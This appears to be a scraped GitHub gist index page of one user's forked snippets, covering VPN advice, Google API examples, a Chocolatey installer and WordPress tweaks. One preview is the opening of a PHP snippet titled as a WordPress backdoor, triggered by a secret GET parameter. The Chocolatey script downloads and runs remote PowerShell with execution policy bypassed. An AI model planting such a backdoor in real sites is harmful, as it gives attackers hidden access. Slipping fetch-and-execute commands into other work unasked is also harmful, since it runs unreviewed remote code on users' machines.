Skip to content

Instantly share code, notes, and snippets.

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JS Bin</title>
</head>
<body>
<script id="jsbin-javascript">
var message;
@bahattab
bahattab / vpn_psk_bingo.md
Created November 9, 2018 18:18 — forked from kennwhite/vpn_psk_bingo.md
Most VPN Services are Terrible

Most VPN Services are Terrible

Short version: I strongly do not recommend using any of these providers. You are, of course, free to use whatever you like. My TL;DR advice: Roll your own and use Algo or Streisand. For messaging & voice, use Signal. For increased anonymity, use Tor for desktop (though recognize that doing so may actually put you at greater risk), and Onion Browser for mobile.

This mini-rant came on the heels of an interesting twitter discussion: https://twitter.com/kennwhite/status/591074055018582016

@bahattab
bahattab / gist:7ff91e607595d782dd23ffc09a5c0879
Last active July 19, 2019 07:59 — forked from avinashkoyyana/gist:7944221
ctrlq.org code - Copy YouTube playlists to your profile From amit Agarwal credit to amit source : http://ctrlq.org/code/19554-youtube-google-data-api
<?php
require_once 'php-google-api-client/src/Google_Client.php';
require_once 'php-google-api-client/src/Google_YouTubeService.php';
session_start();
$OAUTH2_CLIENT_ID = 'apps.googleusercontent.com';
$OAUTH2_CLIENT_SECRET = 'labnol';
@bahattab
bahattab / bloggerAPIExample.gs
Created July 19, 2019 14:06 — forked from mhawksey/bloggerAPIExample.gs
Code used in tutorial for setting up Blogger API with Google Apps Script
var CLIENT_ID = 'YOUR_CLIENT_ID';
var CLIENT_SECRET = 'YOUR_CLIENT_SECRET';
function getService() {
// Create a new service with the given name. The name will be used when
// persisting the authorized token, so ensure it is unique within the
// scope of the property store.
return OAuth2.createService('blogger')
// Set the endpoint URLs, which are the same for all Google services.
@bahattab
bahattab / forms.html
Created July 19, 2019 14:23 — forked from MdKutubuddinSardar/forms.html
Receive Files in Google Drive
<!DOCTYPE html>
<html>
<head>
<base target="_blank">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Google File Upload by CTRLQ.org</title>
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.5/css/materialize.min.css">
<style>
.disclaimer{width: 480px; color:#646464;margin:20px auto;padding:0 16px;text-align:center;font:400 12px Roboto,Helvetica,Arial,sans-serif}.disclaimer a{color:#009688}#credit{display:none}
@bahattab
bahattab / _readme.md
Last active August 22, 2019 19:12 — forked from sorashi/_readme.md
Add CMD to Context Menu - Windows registry edit that adds Windows command-line, Powershell and optionally GIT Bash to directory context menu

Registry edit that allows you to add Windows command-line, Powershell and/or GIT Bash to explorer context menu. source

@bahattab
bahattab / NonAdmin.cmd
Created December 25, 2019 04:16 — forked from ferventcoder/NonAdmin.cmd
Installing Software as a Non-Administrator Using Chocolatey
:: Pick one of these two files (cmd or ps1)
:: Set directory for installation - Chocolatey does not lock
:: down the directory if not the default
SET INSTALLDIR=c:\ProgramData\chocoportable
setx ChocolateyInstall %INSTALLDIR%
:: All install options - offline, proxy, etc at
:: https://chocolatey.org/install
@powershell -NoProfile -ExecutionPolicy Bypass -Command "(iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))) >$null 2>&1" && SET PATH="%PATH%;%INSTALLDIR%\bin"
@bahattab
bahattab / functions.php
Created June 23, 2020 20:41 — forked from lukecav/functions.php
Disable Elementor overview dashboard widget in WordPress
function disable_elementor_dashboard_overview_widget() {
remove_meta_box( 'e-dashboard-overview', 'dashboard', 'normal');
}
add_action('wp_dashboard_setup', 'disable_elementor_dashboard_overview_widget', 40);
@bahattab
bahattab / Create a backdoor to a WordPress website - backdoor.php
Last active August 6, 2020 05:50 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
<?php
# Create a backdoor to a WordPress website
# https://gist.github.com/jgalea/5724566
# https://gist.githubusercontent.com/jgalea/5724566/raw/2117df68c0c757c16a09e5274640cf2bb9f62f74/backdoor.php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
@bahattab
bahattab / DNS Prefetch domains
Created August 6, 2020 18:39 — forked from lukecav/DNS Prefetch domains
WP Rocket - Advanced Options Prefetch DNS requests
//maps.googleapis.com
//maps.gstatic.com
//fonts.googleapis.com
//fonts.gstatic.com
//ajax.googleapis.com
//apis.google.com
//google-analytics.com
//www.google-analytics.com
//ssl.google-analytics.com
//youtube.com